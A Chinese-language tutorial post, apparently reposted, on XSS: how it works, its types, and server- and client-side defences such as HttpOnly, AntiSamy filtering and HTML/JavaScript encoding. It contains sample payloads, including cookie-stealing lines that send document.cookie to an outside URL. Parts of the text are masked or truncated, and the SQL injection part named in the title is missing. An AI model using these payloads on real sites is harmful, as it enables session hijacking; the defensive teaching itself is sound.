XSS漏洞与SQL注入漏洞介绍及解决方案

ysoren

一、跨站脚本***(XSS)
　　跨站脚本***的原理
　　XSS又叫CSS (Cross Site Script) ，跨站脚本***。它指的是恶意***者往Web页面里插入恶意脚本代码，而程序对于用户输入内容未过滤，当用户浏览该页之时，嵌入其中Web里面的脚本代码会被执行，从而达到恶意***用户的特殊目的。
　　跨站脚本***的危害：窃取cookie、放蠕虫、网站钓鱼 ...
　　跨站脚本***的分类主要有：存储型XSS、反射型XSS、DOM型XSS
　　XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法，那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为，通常难以看到XSS漏洞的威胁，而该病毒则将其发挥得淋漓尽致。
　　XSS工作流程
　　1)恶意用户，在一些公共区域（例如，建议提交表单或消息公共板的输入表单）输入一些文本，这些文本被其它用户看到，但这些文本不仅仅是他们要输入的文本，同时还包括一些可以在客户端执行的脚本。如：
　　http://xxx.xxx.com.cn/intf/_photos.jsp?callback=window.location.href="http://www.baidu.com?a=" + escape(document.cookie)、参数xxx如果这里没有经过转义处理，则页面中就嵌入了一段script
　　2)恶意提交这个表单
　　3）其他用户看到这个包括恶意脚本的页面并执行，获取用户的cookie等敏感信息。
　　
　　
　　前提
　　在说XSS解决方式时，有一个前提。就是同源策略——浏览器的同源策略（浏览器安全的基础，即使是***脚本也要遵守这法则），限制了来自不同源的“document”或脚本，对当前“document”读取或设置某些属性。除了DOM、Cookie、XMLHttpRequest会受到同源策略的限制外，浏览器加载的一些第三方插件也有各自的同源策略。不过script、img、iframe、link等标签都可以跨域加载资源，而不受同源策略的限制。
　　服务端可以干的事
　　1. HttpOnly
　　其实就是现在HTTP协议（HTTPS也是可以的）才能读取cookies，JavaScript是读取不到cookies的。支持浏览器是IE6+、Firefox2+、Google、Safari4+。
　　JavaEE给Cookie添加HttpOnly的代码：
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");　　PS：对于HTTPS，还是可以设置Secure字段，对Cookie进行安全加密。
　　这是本质上不是预防XSS，而是在被攻破时候不允许JS读取Cookie。
　　2.处理富文本
　　有些数据因为使用场景问题，并不能直接在服务端进行转义存储。不过富文本数据语义是完整的HTML代码，在输出时也不会拼凑到某个标签的属性中，所以可以当特殊情况特殊处理。处理的过程是在服务端配置富文本标签和属性的白名单，不允许出现其他标签或属性（例如script、iframe、form等），即”XSS Filter“。然后在存储之前进行过滤（过滤原理没有去探明）。
　　Java有个开源项目Anti-Samy是非常好的XSS Filter：
Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION);　　
AntiSamy as = new AntiSamy();
　　
CleanResults cr = as.scan(dirtyInput, policy);
　　
MyUserDao.storeUserProfile(cr.getCleanHTML());
　　PS：当然也可以在前端显示前过滤，但是我觉得，让前端人员少做东西好，并且服务端只需要转一次。
　　客户端可以干的事
　　1. 输入检查
　　输入检查的逻辑，必须放在服务器端代码中实现（因为用JavaScript做输入检查，很容易被***者绕过）。目前Web开发的普遍做法，是同时在客户端JavaScript中和服务器代码中实现相同的输入检查。客户端JavaScript的输入检查，可以阻挡大部分误操作的正常用户，从而节约服务资源。
　　PS：简单说，就是输入检查，服务端和客户端都要做。
　　另外***者可能输入XSS的地方，例如：

http://common.cnblogs.com/images/copycode.gif

1.页面中所有的input框　　
2.window.location（href、hash等）
　　
3.window.name
　　
4.document.referrer
　　
5.document.cookie
　　
6.localstorage
　　
7.XMLHttpRequest返回的数据

http://common.cnblogs.com/images/copycode.gif

　　PS：当然不止这些
　　2. 输出检查
　　一般就是在变量输出到HTML页面时，使用编码或转义的方式来防御XSS***。XSS的本质就是“HTML注入”，用户的数据被当成了HTML代码一部分来执行，从而混淆了原本的语义，产生了新的语义。
　　触发XSS的地方

http://common.cnblogs.com/images/copycode.gif

1.document.write　　
2.xxx.innerHTML=
　　
3.xxx.outerHTML=
　　
4.innerHTML.replace
　　
5.document.attachEvent
　　
6.window.attachEvent
　　
7.document.location.replace
　　
8.document.location.assign

http://common.cnblogs.com/images/copycode.gif

　　PS：如果使用jquery，就是那些append、html、before、after等，其实就是拼接变量到HTML页面时产生。大部分的MVC框架在模板（view层）会自动处理XSS问题，例如AngularJS。
　　用什么编码转义
　　主要有HTMLEncode和JavaScriptEncode这两个，客户端和服务端都能做。但是让后端去做，我感觉是不大靠谱的，因为数据的使用场景可能有几种，可以在标签、属性、或脚本里（甚至其他终端使用），单单以一种方式去encode是很极限的。
　　1.HTMLEncode，就是将字符转换成HTMLEntities，一般会转（&、、"、'、/）这6个字符。
　　2.JavaScriptEncode，是使用”\“对特殊字符进行转义。
　　PS：我在《HtmlEncode和JavaScriptEncode（预防XSS）》一文总结了比较完整的HTMLEncode和JavaScriptEncode两个前端函数的写法，以及一点示例。
　　哪些地方需要编转义
　　1.在HTML标签、属性中输出——用HTMLEncode
　　2.在script标签中输出——用JavaScriptEncode
　　3.在事件中输出——用JavaScriptEncode
test　　4.在CSS中输出
　　用类似JavaScriptEncode的方式。将除了字母、数字外的所有字符都编码成十六进制形式”\uHH“。
　　5.在地址中输出
　　一般如果变量是整个URL，则先检查变量是否以“http”开头（不是则帮忙添加http），保证不会出现伪协议类的XSS***。然后再对变量进行URLEncode。
　　PS：URLEncode会将字符转换成”%HH“形式。
　　总结
　　前端开发人员要注意在正确的地方使用正确的编码方式，有时为了防御XSS，在一个地方我们需要联合HTMLEncode、JavaScriptEncode进行编码，甚至是叠加，并不是固定一种方式编码（又是具体情况具体分析）。
　　一般存储型XSS风险高于反射型XSS。反射型XSS一般要求***者诱使用户点击一个包含XSS代码的URL链接；而存储型只需要用户查看一个正常的URL链接，当用户打开页面时，XSS Payload就会被执行。这样漏洞极其隐蔽，且埋伏在用户的正常业务中，风险很高。
　　
　　
常用XSS方式分为以下几种：
　　1.      输入框中直接输入恶意脚本，如：
　　>alert(document.cookie)
　　或者 ">  document.location.href='http://127.0.0.1:9090/xss?foo='+document.cookie
　　2.      输入框中输入html标签，在标签中嵌入恶意脚本，如src，href，css style等。
　　;

　　　　
　　li {list-style-image:url("javascript:alert('XSS')");}XSS
　　3.      将恶意脚本注入在event事件中，如onClick，onBlur，onMouseOver等事件。

　　　　4.      在remote style sheet，javascript中，如

　　　　
　　5.      META 标签，如